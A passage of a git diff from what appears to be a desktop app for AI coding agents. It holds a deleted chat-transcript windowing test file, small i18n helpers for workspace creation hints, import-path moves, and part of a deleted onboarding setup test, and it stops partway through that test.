-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-import type {
-  AgentJournalItemBody,
-  AgentJournalRenderItem
-} from '../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import { projectStructuredItemsToNativeChat } from '../../../../../../shared/agent-session/view/structured-agent-session-projection'
-import { NativeChatMessageList } from '../../NativeChatMessageList'
-import { NATIVE_CHAT_BOTTOM_THRESHOLD_PX } from '../scroll/native-chat-autoscroll'
-
-import {
-  deliverResizes,
-  list,
-  marker,
-  scrollTranscript,
-  session,
-  stubLayout,
-  stubResizeObserver,
-  TRANSCRIPT_LENGTH,
-  windowState
-} from './native-chat-windowing-test-harness'
-
-afterEach(cleanup)
-
-function scrollRoot(container: HTMLElement): HTMLElement {
-  const scroller = container.querySelector<HTMLElement>('[data-native-chat-scroll]')
-  if (!scroller) {
-    throw new Error('no transcript scroll root')
-  }
-  return scroller
-}
-
-/** Deliver resize and scroll events to a fixed point, as a painted frame would. */
-function paint(container: HTMLElement): void {
-  const scroller = scrollRoot(container)
-  let lastScrollTop = scroller.scrollTop
-  for (let pass = 0; pass < 12; pass += 1) {
-    let changed = false
-    act(() => {
-      changed = deliverResizes()
-    })
-    if (scroller.scrollTop !== lastScrollTop) {
-      lastScrollTop = scroller.scrollTop
-      fireEvent.scroll(scroller)
-      changed = true
-    }
-    if (!changed) {
-      return
-    }
-  }
-  throw new Error('the transcript never settled: resize and scroll kept moving it')
-}
-
-async function settleVirtualizer(container: HTMLElement): Promise<void> {
-  for (let frame = 0; frame < 2; frame += 1) {
-    paint(container)
-    await act(async () => {
-      await new Promise<void>((resolve) => requestAnimationFrame(() => resolve()))
-    })
-  }
-  paint(container)
-}
-
-describe('windowed transcript', () => {
-  let restoreLayout = (): void => {}
-  beforeEach(() => {
-    restoreLayout = stubLayout()
-  })
-  afterEach(() => {
-    restoreLayout()
-  })
-
-  const transcript = Array.from({ length: TRANSCRIPT_LENGTH }, (_, index) => marker(index))
-
-  it('still has the tool run open when the row carrying it comes back', () => {
-    const withTool = [...transcript]
-    withTool[1] = {
-      ...marker(1),
-      blocks: [
-        { type: 'text', text: 'marker-1' },
-        { type: 'tool-call', name: 'shell', input: { command: 'ls' }, state: 'completed' }
-      ]
-    }
-    const { container } = render(list(withTool))
-
-    const header = screen.getByRole('button', { name: /^ls/ })
-    expect(header).toHaveAttribute('aria-expanded', 'false')
-    fireEvent.click(header)
-    expect(screen.getByRole('button', { name: /^ls/ })).toHaveAttribute('aria-expanded', 'true')
-
-    scrollTranscript(container, 5000)
-    expect(windowState(container).indexes).not.toContain(1)
-    expect(screen.queryByRole('button', { name: /^ls/ })).toBeNull()
-
-    scrollTranscript(container, 0)
-    expect(screen.getByRole('button', { name: /^ls/ })).toHaveAttribute('aria-expanded', 'true')
-  })
-})
-
-// Diff reveals name and pin an earlier, possibly unmounted message until its card can answer.
-describe('revealing a diff from a turn rollup', () => {
-  let restoreLayout = (): void => {}
-  beforeEach(() => {
-    restoreLayout = stubLayout()
-  })
-  afterEach(() => {
-    restoreLayout()
-    vi.restoreAllMocks()
-  })
-
-  function journalItem(itemId: string, body: AgentJournalItemBody, sequence: number) {
-    return { itemId, body, sequence, observedAt: sequence * 1000, revision: 1 }
-  }
-
-  const patch = '@@ -1 +1 @@\n-before\n+after'
-  const items: AgentJournalRenderItem[] = [
-    journalItem(
-      'user',
-      { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'Edit it' }] },
-      1
-    ),
-    journalItem(
-      'diff',
-      {
-        kind: 'diff',
-        path: 'src/a.ts',
-        patch: { head: patch, truncated: false, digest: 'fixture', byteLength: patch.length }
-      },
-      2
-    ),
-    ...Array.from({ length: TRANSCRIPT_LENGTH }, (_, index) =>
-      journalItem(
-        `tail-${index}`,
-        { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: `marker-${index}` }] },
-        index + 3
-      )
-    )
-  ]
-
-  it('opens an old edit inline at the visible turn outcome without mounting its source row', () => {
-    const scrollTo = vi.fn()
-    vi.spyOn(HTMLElement.prototype, 'scrollTo').mockImplementation(scrollTo)
-    const { container } = render(
-      <NativeChatMessageList
-        session={session(projectStructuredItemsToNativeChat(items))}
-        journalItems={items}
-        isWorking={false}
-        expandSignal={false}
-      />
-    )
-    // The pinned tail holds the rollup; its target diff has scrolled out of the window.
-    scrollTranscript(container, 4000)
-    expect(screen.queryByRole('button', { name: /^Edited .*a\.ts(?:\s|$)/ })).toBeNull()
-
-    scrollTo.mockClear()
-    fireEvent.click(screen.getByRole('button', { name: /src\/a.ts/ }))
-
-    expect(screen.getByText('Edited')).toBeInTheDocument()
-    expect(screen.getByText('after')).toBeInTheDocument()
-    expect(scrollTo).not.toHaveBeenCalled()
-  })
-})
-
-describe('transcript with a hidden scroll root', () => {
-  it('preserves a detached viewport when messages append while hidden', async () => {
-    let isVisible = true
-    const restoreLayout = stubLayout({
-      scrollGeometry: true,
-      isVisible: () => isVisible
-    })
-    const restoreResizeObserver = stubResizeObserver()
-    const initialMessages = Array.from({ length: 120 }, (_, index) => marker(index))
-    const appendedMessages = [
-      ...initialMessages,
-      ...Array.from({ length: 20 }, (_, index) => marker(120 + index))
-    ]
-    try {
-      const { container, rerender } = render(list(initialMessages, isVisible))
-      await settleVirtualizer(container)
-
-      const scroller = scrollRoot(container)
-      const readingAt = 2_000
-      scrollTranscript(container, readingAt)
-      await settleVirtualizer(container)
-      expect(screen.getByRole('button', { name: /jump to latest/i })).toBeInTheDocument()
-
-      isVisible = false
-      rerender(list(initialMessages, isVisible))
-      await settleVirtualizer(container)
-      const scrollTo = vi.spyOn(scroller, 'scrollTo')
-      try {
-        rerender(list(appendedMessages, isVisible))
-        await settleVirtualizer(container)
-        expect(scrollTo).not.toHaveBeenCalled()
-      } finally {
-        scrollTo.mockRestore()
-      }
-
-      isVisible = true
-      rerender(list(appendedMessages, isVisible))
-      await settleVirtualizer(container)
-
-      expect(scroller.scrollTop).toBe(readingAt)
-      expect(screen.getByRole('button', { name: /jump to latest/i })).toBeInTheDocument()
-    } finally {
-      restoreResizeObserver()
-      restoreLayout()
-    }
-  })
-
-  it('preserves a detached viewport when a structured session catches up after reveal', async () => {
-    let isVisible = true
-    const restoreLayout = stubLayout({
-      scrollGeometry: true,
-      isVisible: () => isVisible
-    })
-    const restoreResizeObserver = stubResizeObserver()
-    const initialMessages = Array.from({ length: 120 }, (_, index) => marker(index))
-    const appendedMessages = [
-      ...initialMessages,
-      ...Array.from({ length: 20 }, (_, index) => marker(120 + index))
-    ]
-    try {
-      const { container, rerender } = render(list(initialMessages, isVisible))
-      await settleVirtualizer(container)
-
-      const scroller = scrollRoot(container)
-      const readingAt = 2_000
-      scrollTranscript(container, readingAt)
-      await settleVirtualizer(container)
-      expect(screen.getByRole('button', { name: /jump to latest/i })).toBeInTheDocument()
-
-      isVisible = false
-      rerender(list(initialMessages, isVisible))
-      await settleVirtualizer(container)
-      isVisible = true
-      rerender(list(initialMessages, isVisible))
-      // The resumed transport can publish catch-up before the reveal write emits a scroll event.
-      rerender(list(appendedMessages, isVisible))
-      await settleVirtualizer(container)
-
-      expect(scroller.scrollTop).toBe(readingAt)
-      expect(screen.getByRole('button', { name: /jump to latest/i })).toBeInTheDocument()
-    } finally {
-      restoreResizeObserver()
-      restoreLayout()
-    }
-  })
-
-  it('catches a following viewport up after messages append while hidden', async () => {
-    let isVisible = true
-    const restoreLayout = stubLayout({
-      scrollGeometry: true,
-      isVisible: () => isVisible
-    })
-    const restoreResizeObserver = stubResizeObserver()
-    const initialMessages = Array.from({ length: 120 }, (_, index) => marker(index))
-    const appendedMessages = [
-      ...initialMessages,
-      ...Array.from({ length: 20 }, (_, index) => marker(120 + index))
-    ]
-    try {
-      const { container, rerender } = render(list(initialMessages, isVisible))
-      await settleVirtualizer(container)
-
-      isVisible = false
-      rerender(list(initialMessages, isVisible))
-      await settleVirtualizer(container)
-      rerender(list(appendedMessages, isVisible))
-      await settleVirtualizer(container)
-
-      isVisible = true
-      rerender(list(appendedMessages, isVisible))
-      await settleVirtualizer(container)
-
-      const scroller = scrollRoot(container)
-      expect(
-        scroller.scrollHeight - scroller.clientHeight - scroller.scrollTop
-      ).toBeLessThanOrEqual(NATIVE_CHAT_BOTTOM_THRESHOLD_PX)
-      expect(screen.queryByRole('button', { name: /jump to latest/i })).toBeNull()
-    } finally {
-      restoreResizeObserver()
-      restoreLayout()
-    }
-  })
-})
diff --git a/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.tsx b/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.tsx
index 934872dfaed..2606c2dd035 100644
--- a/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.tsx
+++ b/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.tsx
@@ -13,7 +13,7 @@ import {
   getIndexedWorktreeById,
   getIndexedWorktreeMap
 } from '@/store/slices/worktrees/listing/worktree-catalog-index'
-import { compareWorktreeDisplayName } from '@/lib/worktree-display-name-order'
+import { compareWorktreeDisplayName } from '@/lib/workspace/display/worktree-display-name-order'
 import '@/components/sidebar/workspace-card/activity/worktree-card-empty-inputs'
 import { branchDisplayName } from '@/components/sidebar/workspace-card/identity/worktree-branch-display'
 import { getCyclicProjectedWorktreeLineageIds } from '../../../../shared/sidebar-list/worktree-lineage-projection'
diff --git a/src/renderer/src/components/new-workspace/ProjectComboboxRow.tsx b/src/renderer/src/components/new-workspace/ProjectComboboxRow.tsx
index 7e7e4e02ca6..93e10b740e3 100644
--- a/src/renderer/src/components/new-workspace/ProjectComboboxRow.tsx
+++ b/src/renderer/src/components/new-workspace/ProjectComboboxRow.tsx
@@ -4,6 +4,7 @@ import { RepoBadgeMark } from '@/components/repo/RepoBadgeLabel'
 import { cn } from '@/lib/class-names'
 import type { NewWorkspaceProjectOption } from '@/lib/workspace/creation/new-workspace-project-options'
 import { splitPathHeadForElision } from '@/lib/path-display/path-head-elision'
+import { translateProjectOptionDetail } from './project-combobox-localized-copy'
 
 /** Identity mark shared by the field and every row, so a project reads the same in both. */
 export function ProjectOptionMark({
@@ -63,17 +64,22 @@ export function ProjectOptionDetail({
   hits?: readonly number[]
   className?: string
 }): React.JSX.Element {
-  const ranges = hits?.map((index) => ({ start: index, end: index + 1 }))
-  const split = splitPathHeadForElision(detail, ranges)
+  const displayDetail = translateProjectOptionDetail(detail)
+  const displayHits = displayDetail === detail ? hits : undefined
+  const ranges = displayHits?.map((index) => ({ start: index, end: index + 1 }))
+  const split = splitPathHeadForElision(displayDetail, ranges)
   if (!split) {
     return (
-      <span className={cn('min-w-0 truncate', className)} title={detail}>
-        {hits ? <MatchedText text={detail} hits={hits} /> : detail}
+      <span className={cn('min-w-0 truncate', className)} title={displayDetail}>
+        {displayHits ? <MatchedText text={displayDetail} hits={displayHits} /> : displayDetail}
       </span>
     )
   }
   return (
-    <span className={cn('flex min-w-0 items-baseline overflow-hidden', className)} title={detail}>
+    <span
+      className={cn('flex min-w-0 items-baseline overflow-hidden', className)}
+      title={displayDetail}
+    >
       <span className="min-w-0 shrink-[999] truncate">{split.head}</span>
       <span className="min-w-0 shrink truncate">
         {split.tailRanges.length > 0 ? (
diff --git a/src/renderer/src/components/new-workspace/SmartWorkspaceSourceResultList.tsx b/src/renderer/src/components/new-workspace/SmartWorkspaceSourceResultList.tsx
index b4a633e4822..e1fe802d6c3 100644
--- a/src/renderer/src/components/new-workspace/SmartWorkspaceSourceResultList.tsx
+++ b/src/renderer/src/components/new-workspace/SmartWorkspaceSourceResultList.tsx
@@ -4,7 +4,7 @@ import { Button } from '@/components/ui/button'
 import { CommandGroup, CommandItem, CommandList } from '@/components/ui/command'
 import { useTranslate } from '@/i18n/use-translate'
 import { cn } from '@/lib/class-names'
-import { getSmartWorkspaceEmptyHint } from '../../../../shared/new-workspace/smart-workspace-source-results'
+import { translateSmartWorkspaceEmptyHint } from './smart-workspace-empty-hint'
 import { RowIcon, RowLabel } from './smart-workspace-source-row-content'
 import type { RowEntry } from './smart-workspace-name-field-model'
 import type { WorkItemSourceSearch } from './use-work-item-source-search'
@@ -162,7 +162,7 @@ export function SmartWorkspaceSourceResultList({
                     'auto.components.new.workspace.SmartWorkspaceNameField.3e8bb1176a',
                     'Connect Linear in Settings to search issues.'
                   )
-                : (emptyHint ?? getSmartWorkspaceEmptyHint(mode))}
+                : (emptyHint ?? translateSmartWorkspaceEmptyHint(mode))}
           </div>
         ) : searchResultRows.length > 0 ? (
           <CommandGroup>
diff --git a/src/renderer/src/components/new-workspace/project-combobox-localized-copy.ts b/src/renderer/src/components/new-workspace/project-combobox-localized-copy.ts
new file mode 100644
index 00000000000..2d0ef0215d5
--- /dev/null
+++ b/src/renderer/src/components/new-workspace/project-combobox-localized-copy.ts
@@ -0,0 +1,7 @@
+import { translate } from '@/i18n/i18n'
+
+export function translateProjectOptionDetail(detail: string): string {
+  return detail === 'Project'
+    ? translate('auto.components.new.workspace.ProjectCombobox.projectDetail', 'Project')
+    : detail
+}
diff --git a/src/renderer/src/components/new-workspace/smart-workspace-empty-hint.ts b/src/renderer/src/components/new-workspace/smart-workspace-empty-hint.ts
new file mode 100644
index 00000000000..be815d42a24
--- /dev/null
+++ b/src/renderer/src/components/new-workspace/smart-workspace-empty-hint.ts
@@ -0,0 +1,39 @@
+import { translate } from '@/i18n/i18n'
+import type { SmartNameMode } from '../../../../shared/new-workspace/smart-workspace-source-results'
+
+export function translateSmartWorkspaceEmptyHint(mode: SmartNameMode): string {
+  switch (mode) {
+    case 'smart':
+      return translate(
+        'auto.components.new.workspace.smart.workspace.empty.hint.42997fb707',
+        'Start typing to create a name or find a source.'
+      )
+    case 'github':
+      return translate(
+        'auto.components.new.workspace.smart.workspace.empty.hint.b2bc38e7d7',
+        'Start typing to search GitHub PRs and issues.'
+      )
+    case 'gitlab':
+      return translate(
+        'auto.components.new.workspace.smart.workspace.empty.hint.b1418294ea',
+        'Start typing to search GitLab MRs and issues.'
+      )
+    case 'branches':
+      return translate(
+        'auto.components.new.workspace.smart.workspace.empty.hint.80e7791c93',
+        'No matching branches.'
+      )
+    case 'linear':
+      return translate(
+        'auto.components.new.workspace.smart.workspace.empty.hint.b4e65d98a6',
+        'Start typing to search Linear issues.'
+      )
+    case 'jira':
+      return translate(
+        'auto.components.new.workspace.smart.workspace.empty.hint.5ba5d3e516',
+        'Start typing to search Jira issues, or paste an issue URL.'
+      )
+    case 'text':
+      return ''
+  }
+}
diff --git a/src/renderer/src/components/new-workspace/smart-workspace-name-input-surface.tsx b/src/renderer/src/components/new-workspace/smart-workspace-name-input-surface.tsx
index 6478924fcbd..9158baa9aa1 100644
--- a/src/renderer/src/components/new-workspace/smart-workspace-name-input-surface.tsx
+++ b/src/renderer/src/components/new-workspace/smart-workspace-name-input-surface.tsx
@@ -8,7 +8,7 @@ import { isImeCompositionKeyDown } from '@/lib/text-input/ime/ime-composition-ke
 import { isBlockingJiraUrlIntent } from '../../../../shared/new-workspace/smart-workspace-source-results'
 import { isBlockingLinearUrlIntent } from '../../../../shared/new-workspace/smart-workspace-linear-intent'
 import { isComposerFieldToFieldFocus } from './smart-workspace-source-popover-focus'
-import { replaceCompletedWorkspaceEmojiShortcode } from '@/lib/workspace-emoji-shortcodes'
+import { replaceCompletedWorkspaceEmojiShortcode } from '@/lib/workspace/display/workspace-emoji-shortcodes'
 import { cn } from '@/lib/class-names'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
diff --git a/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-actions.ts b/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-actions.ts
index 47db3fb4ae4..5b5c1ab4dea 100644
--- a/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-actions.ts
+++ b/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-actions.ts
@@ -6,9 +6,9 @@ import { lookupGitHubWorkItemByOwnerRepoForSource } from '@/lib/work-items/githu
 import {
   applyWorkspaceEmojiSuggestion,
   type WorkspaceEmojiReplacement,
-  type getActiveWorkspaceEmojiShortcode,
-  type WorkspaceEmojiSuggestion
-} from '@/lib/workspace-emoji-shortcodes'
+  type getActiveWorkspaceEmojiShortcode
+} from '@/lib/workspace/display/workspace-emoji-shortcodes'
+import type { StandardEmojiShortcodeEntry } from '../../../../shared/emoji-shortcode-catalog'
 import type { GitHubWorkItem } from '../../../../shared/github/work-item-types'
 import { buildTaskSourceContextFromRepo } from '../../../../shared/work-items/task-source-context'
 import type {
@@ -19,7 +19,7 @@ import type {
 import { getRepoSlugCached, sameSlug } from './smart-workspace-repo-slug'
 import type { useWorkItemSourceSearch } from './use-work-item-source-search'
 import type { useSmartWorkspaceFieldFocusControls } from './use-smart-workspace-field-focus-controls'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import type { useWorkItemSourcePresentation } from './use-work-item-source-presentation'
 import { openAppHttpLink } from '@/lib/browser/navigation/app-http-link-open'
 
@@ -139,7 +139,7 @@ export function useSmartWorkspaceNameFieldActions(
     ]
   )
   const handleEmojiSelect = useCallback(
-    (suggestion: WorkspaceEmojiSuggestion): void => {
+    (suggestion: StandardEmojiShortcodeEntry): void => {
       if (!activeEmojiShortcode) {
         return
       }
diff --git a/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-controller.ts b/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-controller.ts
index 02eeeeaf5ee..5c5e8e7967c 100644
--- a/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-controller.ts
+++ b/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-controller.ts
@@ -1,9 +1,9 @@
 import { useEffect, useMemo } from 'react'
 import {
   getActiveWorkspaceEmojiShortcode,
-  searchWorkspaceEmojiShortcodes,
-  type WorkspaceEmojiSuggestion
-} from '@/lib/workspace-emoji-shortcodes'
+  searchWorkspaceEmojiShortcodes
+} from '@/lib/workspace/display/workspace-emoji-shortcodes'
+import type { StandardEmojiShortcodeEntry } from '../../../../shared/emoji-shortcode-catalog'
 import type { SmartWorkspaceNameFieldProps } from './smart-workspace-name-field-model'
 import { useWorkItemSourceSearch } from './use-work-item-source-search'
 import { useSmartWorkspaceFieldFocusControls } from './use-smart-workspace-field-focus-controls'
@@ -38,7 +38,7 @@ export function useSmartWorkspaceNameFieldController(props: SmartWorkspaceNameFi
     () => getActiveWorkspaceEmojiShortcode(value, emojiCursor),
     [emojiCursor, value]
   )
-  const emojiSuggestions: WorkspaceEmojiSuggestion[] = useMemo(
+  const emojiSuggestions: StandardEmojiShortcodeEntry[] = useMemo(
     () => (activeEmojiShortcode ? searchWorkspaceEmojiShortcodes(activeEmojiShortcode.query) : []),
     [activeEmojiShortcode]
   )
diff --git a/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-foundation.source.test.tsx b/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-foundation.source.test.tsx
index 0c11b0d2d66..e1900287378 100644
--- a/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-foundation.source.test.tsx
+++ b/src/renderer/src/components/new-workspace/use-smart-workspace-name-field-foundation.source.test.tsx
@@ -1,16 +1,13 @@
 import { linearIssueReadFixture } from '@/store/slices/linear/linear-slice-test-harness'
-// @vitest-environment happy-dom
-
 import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { Repo } from '../../../../shared/repo-types'
-
-import type { LinearIssue } from '../../../../shared/linear/issue-types'
-
-import type { TaskSourceContext } from '../../../../shared/work-items/task-source-context'
-import type { NormalizedWorkItemSourceSearchProps } from './smart-workspace-name-field-model'
 import { useWorkItemSourceSearch } from './use-work-item-source-search'
 import { referenceLinearIssue } from '../sidebar/workspace-card/review/workspace-reference-fixtures.test-support'
+import type { Repo } from '../../../../shared/repo-types'
+import type { LinearIssue } from '../../../../shared/linear/issue-types'
+import type { TaskSourceContext } from '../../../../shared/work-items/task-source-context'
+import type { NormalizedWorkItemSourceSearchProps } from './smart-workspace-name-field-model'
+// @vitest-environment happy-dom
 
 const mocks = vi.hoisted(() => ({
   readStatus: vi.fn(),
@@ -38,7 +35,7 @@ vi.mock('@/lib/work-items/gitlab/gitlab-work-item-source-lookup', () => ({
   listGitLabWorkItemsForSource: mocks.listGitlabWorkItems,
   lookupGitLabWorkItemByPathForSource: vi.fn()
 }))
-vi.mock('@/store', () => ({
+vi.mock('@/store/index', () => ({
   useAppStore: Object.assign(
     (selector: (state: unknown) => unknown) =>
       selector({
@@ -51,8 +48,11 @@ vi.mock('@/store', () => ({
     { getState: () => mocks.state, subscribe: () => () => {} }
   )
 }))
-vi.mock('@/lib/local-preflight-context', () => ({
-  getLocalPreflightContext: () => ({}),
+vi.mock('@/runtime/hosts/preflight/local-preflight-context', () => ({
+  getLocalPreflightContext: () => ({})
+}))
+
+vi.mock('@/runtime/hosts/preflight/local-preflight-context-key', () => ({
   localPreflightContextKey: () => 'test'
 }))
 vi.mock('@/i18n/i18n', () => ({ translate: (_key: string, fallback: string) => fallback }))
diff --git a/src/renderer/src/components/new-workspace/use-work-item-source-foundation.ts b/src/renderer/src/components/new-workspace/use-work-item-source-foundation.ts
index ce08bb48e6f..667e097bae2 100644
--- a/src/renderer/src/components/new-workspace/use-work-item-source-foundation.ts
+++ b/src/renderer/src/components/new-workspace/use-work-item-source-foundation.ts
@@ -1,22 +1,15 @@
-import type { LinearIssueData } from '@/store/slices/linear/linear-issue-read'
-import type { LinearIssueView } from '@/store/slices/linear/linear-issue-read-lifecycle'
 import { getProviderRuntimeContextKey } from '@/runtime/hosts/observations/provider-runtime-context'
 import { useLinearIssueResult } from '@/hooks/linear-issue-committed-state'
 import { getLinearSourceScope } from '@/store/slices/linear/linear-slice-scope'
 import { getSelectedWorkspaceId } from '@/store/slices/linear/linear-cache'
 import { defaultScopeSource } from '@/runtime/hosts/selection/default-creation-host'
-import type { LinearIssue } from '../../../../shared/linear/issue-types'
 import { parseBoundedSmartWorkspaceLinearIssueUrlIntent } from '../../../../shared/new-workspace/smart-workspace-linear-intent'
 import { isSmartWorkspaceSourceQueryWithinLimit } from '../../../../shared/new-workspace/smart-workspace-source-results'
 import React, { useMemo } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import { useAppStore } from '@/store'
-import { getLocalPreflightContext, localPreflightContextKey } from '@/lib/local-preflight-context'
+import { useAppStore } from '@/store/index'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { buildTaskSourceContextFromRepo } from '../../../../shared/work-items/task-source-context'
-import type {
-  NormalizedWorkItemSourceSearchProps,
-  RepoBackedSearchTarget
-} from './smart-workspace-name-field-model'
 import { useJiraSourceConnection } from './use-jira-source-connection'
 import { useJiraUrlSource } from './use-jira-url-source'
 import { useLinearSourceConnection } from './use-linear-source-connection'
@@ -24,6 +17,14 @@ import { useSmartWorkspaceFieldAvailability } from './use-smart-workspace-field-
 import { useWorkItemSourceState } from './use-work-item-source-state'
 import { useJiraComposerProject } from './use-jira-composer-project'
 import { useComposerSourceScope } from './use-composer-source-scope'
+import type { LinearIssueData } from '@/store/slices/linear/linear-issue-read'
+import type { LinearIssueView } from '@/store/slices/linear/linear-issue-read-lifecycle'
+import type { LinearIssue } from '../../../../shared/linear/issue-types'
+import { localPreflightContextKey } from '../../runtime/hosts/preflight/local-preflight-context-key'
+import type {
+  NormalizedWorkItemSourceSearchProps,
+  RepoBackedSearchTarget
+} from './smart-workspace-name-field-model'
 
 export function useWorkItemSourceFoundation(props: NormalizedWorkItemSourceSearchProps) {
   const {
diff --git a/src/renderer/src/lib/notes-send-in-flight.ts b/src/renderer/src/components/notes/delivery/notes-send-in-flight.ts
similarity index 100%
rename from src/renderer/src/lib/notes-send-in-flight.ts
rename to src/renderer/src/components/notes/delivery/notes-send-in-flight.ts
diff --git a/src/renderer/src/components/onboarding/AgentSurfaceStep.tsx b/src/renderer/src/components/onboarding/AgentSurfaceStep.tsx
index c22426d128f..0f24b0ed247 100644
--- a/src/renderer/src/components/onboarding/AgentSurfaceStep.tsx
+++ b/src/renderer/src/components/onboarding/AgentSurfaceStep.tsx
@@ -50,7 +50,7 @@ export function AgentSurfaceStep({
           )}
           note={t(
             'components.onboarding.agentSurface.chat.terminalFallback',
-            'Agents without chat support, and SSH or WSL projects, still open in a terminal.'
+            'Agents without chat support and folders opened through SSH or WSL on this computer still open in a terminal.'
           )}
           warning={
             noChatAgentDetected
diff --git a/src/renderer/src/components/onboarding/ThemeStep.tsx b/src/renderer/src/components/onboarding/ThemeStep.tsx
index aceb72b7cd3..10e81b5f9ba 100644
--- a/src/renderer/src/components/onboarding/ThemeStep.tsx
+++ b/src/renderer/src/components/onboarding/ThemeStep.tsx
@@ -5,21 +5,19 @@ import { toast } from 'sonner'
 import { track } from '@/diagnostics/telemetry/telemetry'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { GhosttyDiscoveryRow } from './GhosttyDiscoveryRow'
-import type { GlobalSettings } from '../../../../shared/global-settings-types'
-import type { DiscoveryStatusEmitted } from '../../../../shared/onboarding-state-types'
 import { i18n, translate } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
 import { ThemeSlotControl, useThemeLooks } from './ThemeLookGallery'
 import { ThemeLookCarousel, openThemePluginDirectory } from './ThemeLookCarousel'
 import { ThemeModeTiles } from './ThemeModeTiles'
-import type { ThemeLook, ThemeLookBase } from './onboarding-theme-looks'
 import { themeLookSettingsUpdate } from './onboarding-theme-look-settings'
-import {
-  terminalConfigImportSettingsUpdate,
-  type TerminalConfigImportPreview
-} from '../../../../shared/terminal/appearance/terminal-config-import-preview'
-import { getSystemPrefersDark } from '@/lib/terminal-theme'
+import { terminalConfigImportSettingsUpdate } from '../../../../shared/terminal/appearance/terminal-config-import-preview'
+import type { TerminalConfigImportPreview } from '../../../../shared/terminal/appearance/terminal-config-import-preview'
+import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme'
 import { useSystemPrefersDark } from '@/hooks/theme/use-system-prefers-dark'
+import type { GlobalSettings } from '../../../../shared/global-settings-types'
+import type { DiscoveryStatusEmitted } from '../../../../shared/onboarding-state-types'
+import type { ThemeLook, ThemeLookBase } from './onboarding-theme-looks'
 
 type ThemeStepProps = {
   theme: GlobalSettings['theme']
diff --git a/src/renderer/src/components/onboarding/onboarding-feature-setup.test.ts b/src/renderer/src/components/onboarding/onboarding-feature-setup.test.ts
deleted file mode 100644
index 0c32da19e6f..00000000000
--- a/src/renderer/src/components/onboarding/onboarding-feature-setup.test.ts
+++ /dev/null
@@ -1,113 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import type {
-  ComputerUsePermissionSetupResult,
-  ComputerUsePermissionStatusResult
-} from '../../../../shared/computer-use-permissions-types'
-import { ORCHESTRATION_SKILL_NAME } from '@/lib/skills/installation/agent-feature-skill-names'
-import { BROWSER_USE_ENABLED_STORAGE_KEY } from '@/lib/browser/browser-use-setup-state'
-import { ORCHESTRATION_ENABLED_STORAGE_KEY } from '@/lib/orchestration-setup-state'
-import {
-  runOnboardingFeatureSetup,
-  type OnboardingFeatureSetupDeps,
-  type OnboardingFeatureSetupSelection
-} from './onboarding-feature-setup'
-
-const GRANTED_COMPUTER_USE_STATUS: ComputerUsePermissionStatusResult = {
-  platform: 'darwin',
-  helperAppPath: '/Applications/Orca Computer Use.app',
-  helperUnavailableReason: null,
-  permissions: [
-    { id: 'accessibility', status: 'granted' },
-    { id: 'screenshots', status: 'granted' }
-  ]
-}
-
-const OPENED_COMPUTER_USE_SETUP: ComputerUsePermissionSetupResult = {
-  platform: 'darwin',
-  helperAppPath: '/Applications/Orca.app',
-  openedSettings: true,
-  launchedHelper: true
-}
-
-function createDeps(
-  overrides: Partial<OnboardingFeatureSetupDeps> = {}
-): OnboardingFeatureSetupDeps & {
-  storage: Map<string, string>
-} {
-  const storage = new Map<string, string>()
-  return {
-    storage,
-    getComputerUsePermissionStatus: vi.fn(async () => GRANTED_COMPUTER_USE_STATUS),
-    openComputerUsePermissionSetup: vi.fn(async () => OPENED_COMPUTER_USE_SETUP),
-    setStorageItem: vi.fn((key: string, value: string) => {
-      storage.set(key, value)
-    }),
-    removeStorageItem: vi.fn((key: string) => {
-      storage.delete(key)
-    }),
-    notifyOrchestrationStateChanged: vi.fn(),
-    ...overrides
-  }
-}
-
-describe('onboarding feature setup runner', () => {
-  afterEach(() => {
-    vi.unstubAllGlobals()
-  })
-
-  it('keeps invasive Browser Use and Computer Use setup untouched when only Orchestration is selected', async () => {
-    const deps = createDeps()
-    const selection: OnboardingFeatureSetupSelection = {
-      browserUse: false,
-      computerUse: false,
-      orchestration: true,
-      linearTickets: false
-    }
-
-    const result = await runOnboardingFeatureSetup(selection, deps)
-
-    expect(result.selectedIds).toEqual(['orchestration'])
-    expect(result.skillNames).toEqual([ORCHESTRATION_SKILL_NAME])
-    expect(result.computerUsePermissionsOpened).toBe(false)
-    expect(deps.getComputerUsePermissionStatus).not.toHaveBeenCalled()
-    expect(deps.openComputerUsePermissionSetup).not.toHaveBeenCalled()
-    expect(deps.storage.get(BROWSER_USE_ENABLED_STORAGE_KEY)).toBe('0')
